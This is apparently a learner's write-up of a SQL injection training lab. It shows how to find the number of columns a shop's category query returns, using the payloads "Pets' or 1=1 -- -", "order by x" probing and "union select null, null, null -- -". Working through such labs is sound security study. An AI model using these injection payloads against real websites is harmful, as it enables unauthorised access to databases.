

## Lab: SQL injection UNION attack, determining the number of columns returned by the query

- Search upon a specific category (**filter?category=Pets**), the uses Pets', which will cause internal server error



SQL injection UNION attack, determining the number of columns returned by the query

LAB Not solved

[Back to lab home](#) [Back to lab description >>](#)

Internal Server Error

Internal Server Error

- This payload (**Pets' or 1=1 -- -**) will work fine, which indicates SQLi Vulnerability

[Home](#) | [My account](#)

WE LIKE TO  
**SHOP** 

Pets' or 1=1 -- -

Refine your search:

[All](#) [Accessories](#) [Corporate gifts](#) [Food & Drink](#) [Pets](#) [Tech gifts](#)

Eggtastic, Fun, Food Eggcessories	\$40.98	<a href="#">View details</a>
Picture Box	\$52.45	<a href="#">View details</a>
Pet Experience Days	\$48.69	<a href="#">View details</a>
Folding Gadgets	\$93.91	<a href="#">View details</a>
Giant Pillow Thing	\$7.34	<a href="#">View details</a>
Waterproof Tea Bags	\$78.07	<a href="#">View details</a>

- Find out how many columns are returned from the original SQL Query using **order by x** (start from 1, then increase by one until an error occurs), You will find out there are 3 columns returned from the original query
- It's time to find what datatype these 3 columns carry, using this payload (' **union select null, null, null -- -**).
- Lab is solved, cause you knew how many columns are returned from the original SQL query.